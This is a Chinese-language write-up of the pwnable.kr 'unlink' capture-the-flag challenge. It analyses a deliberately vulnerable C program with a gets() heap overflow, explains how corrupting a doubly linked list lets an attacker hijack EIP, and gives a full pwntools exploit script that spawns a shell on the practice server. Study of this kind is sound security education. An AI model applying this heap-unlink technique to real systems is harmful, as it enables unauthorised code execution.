#writeup#pwnable unlink

时间:2020-04-13 10:23:32   收藏:0   阅读:93

题目信息

程序源代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
 struct tagOBJ* fd;
 struct tagOBJ* bk;
 char buf[8];
}OBJ;

void shell(){
 system("/bin/sh");
}

void unlink(OBJ* P){
 OBJ* BK;
 OBJ* FD;
 BK=P->bk;
 FD=P->fd;
 FD->bk=BK;
 BK->fd=FD;
}
int main(int argc, char* argv[]){
 malloc(1024);
 OBJ* A = (OBJ*)malloc(sizeof(OBJ));
 OBJ* B = (OBJ*)malloc(sizeof(OBJ));
 OBJ* C = (OBJ*)malloc(sizeof(OBJ));

 // double linked list: A <-> B <-> C
 A->fd = B;
 B->bk = A;
 B->fd = C;
 C->bk = B;

 printf("here is stack address leak: %p\n", &A);
 printf("here is heap address leak: %p\n", A);
 printf("now that you have leaks, get shell!\n");
 // heap overflow!
 gets(A->buf);

 // exploit this unlink!
 unlink(B);
 return 0;
}

检查程序安全选项

可以看到,是 32bit 程序,只启用了NX,没启用canary。

giantbranch@ubuntu:~/pwnable/unlink$ file unlink
unlink: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=3b89c9c89761e7ff1727d2ed9cf0117d3313a370, not stripped
giantbranch@ubuntu:~/pwnable/unlink$ checksec unlink
[*] ‘/home/giantbranch/pwnable/unlink/unlink‘
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)

题目分析

基本逻辑分析

程序逻辑非常清晰:

结合调试分析内存结构

这道题目我认为自己可以走出来,所以没看别人的writeup。先对程序进行调试,看看A/B/C在内存中的结构。
从main反汇编代码可以看到四次call malloc
技术分享图片
从第二次 malloc 开始,push 0x10表明struct tagOBJ 大小为0x10 字节。malloc 返回值在eax中,所以

mov DWORD PTR [ebp-0x14], eax
mov DWORD PTR [ebp-0xc], eax
mov DWORD PTR [ebp-0x10], eax

表明三个变量 A/B/C 在栈中分别是 ebp-0x14/-0xC/-0x10
先看看此时内存的结构:
技术分享图片
可以画出此时的内存图,A/B/C 之间相隔 0x28-0x10 = 0x18 的距离,去掉struct大小,还有8btye的空间:
技术分享图片

构造双向链表

 // double linked list: A <-> B <-> C
 A->fd = B;
 B->bk = A;
 B->fd = C;
 C->bk = B;

此时的内存内容:
技术分享图片
对应的内存图:
技术分享图片
随意输入8个A,当正常完成 unlink 之后:
技术分享图片
A->bk 和 C->bk 的值都发生了变化。

思考exploit

现在对题目的内容和内存结构已经非常清楚了,结合注释 exploit this unlink! 可以知道,突破点就在这几行代码:

void unlink(OBJ* P){
 OBJ* BK;
 OBJ* FD;
 BK=P->bk;
 FD=P->fd;
 FD->bk=BK;
 BK->fd=FD;
}

分析下:

如何控制 EIP

现在就差如何控制EIP了,怎么办?两种思路:

OpcodeMnemonicDescription
C9LEAVESet SP to BP, then pop BP.
C9LEAVESet ESP to EBP, then pop EBP.

RET 指令的说明:Transfers program control to a return address located on the top of the stack.
ret 指令会取 esp的值作为eip去执行。
lea esp, [ecx-0x4]
ecx的值来自于 [ebp-0x4],如果我们将 [ebp-0x4] 指向控制的堆块地址X,然后 X- 4 的地方防止 shell函数入口,那么 [ecx-0x4]就会执行我们的shell函数。示意图如下:
技术分享图片

如何利用 unlink 将shell地址写入

此时黄色区域都是我们可以控制的
技术分享图片
此时可以有多种布局方式:
技术分享图片

编写 exp

针对第一种方式,payload 布局:
payload = ‘a‘ * (0x8 + 0x4) + p32(&shell) + p32(int(heap_a,16) +0x10 + 0x8) + p32(int(stack_a, 16) + 0x10)
技术分享图片

针对第二种方式,payload布局:
payload = ‘a‘ * 0x8 + p32(&shell) + p32(int(heap_a, 16) + 0x10 + 0x4) +p32(int(heap_a, 16) + 0x10 + 0x4) + p32(int(stack_a, 16) + 0x10)
技术分享图片
上面shell函数 地址通过 b shell 得到,为 0x80484f1,可以发现,该地址是固定不变的。
技术分享图片

完整的exp:

from pwn import *

context.log_level = ‘debug‘

#p = process("./unlink")
#pwnlib.gdb.attach(proc.pidof(p)[0], gdbscript="b *0x080485e9\nb *0x80485f7\nc\n") 

s = ssh(host = ‘pwnable.kr‘, port = 2222, user = ‘unlink‘, password = ‘guest‘)
p = s.run(‘./unlink‘)

p.recvuntil("here is stack address leak: ")
stack_a = p.recvuntil("\n", drop=True)

p.recvuntil("here is heap address leak: ")
heap_a = p.recvuntil("\n", drop=True)

p.recvline()

#try1: main‘s eip cannot be modified
#payload = ‘a‘ * ( 8 + 0x8) + p32(0x80484f1) + p32(int(stack_a, 16) + 0x18)
#try2: sigerr fd->bk cannot write
#shell + FD + ‘a‘ * 12 + main_ebp-0x4
#payload = p32(0x80484f1) + p32(int(heap_a, 16) + 0xc) + ‘a‘ * (0x8 + 0x4) + p32(int(stack_a, 16) + 0x10)
#try3: nop * 0xc + shell + FD + BK
# payload = ‘a‘ * (0x8 + 0x4) + p32(0x80484f1) + p32(int(heap_a, 16) + 0x10 + 0x8) + p32(int(stack_a, 16) + 0x10)
#try4: nop * 0x8 + shell + FD + FD + BK
payload = ‘a‘ * 0x8 + p32(0x80484f1) + p32(int(heap_a, 16) + 0x10 + 0x4) + p32(int( heap_a, 16) + 0x10 + 0x4) + p32(int(stack_a, 16) + 0x10)

print payload.encode(‘hex‘)

p.sendline(payload)
print p.recv()

p.interactive()

exp flag

技术分享图片

他山之石

看看其他人的解法。

总结

利用 pwntools 调用gdb来调试程序

通过 gdbscript,可以把输入自动化,断点自动化,方便进一步调试。

pwntools 使用方法总结

技术分享图片
这是目前用的。shellcode 的有空再补充。

获取 EIP 的方式

stack 上面还是想办法拿到 eip
对于 main 函数,考虑ret前,通过其他函数拿到修改 ecx 的机会。



来自为知笔记(Wiz)


原文:https://www.cnblogs.com/handt/p/12688831.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!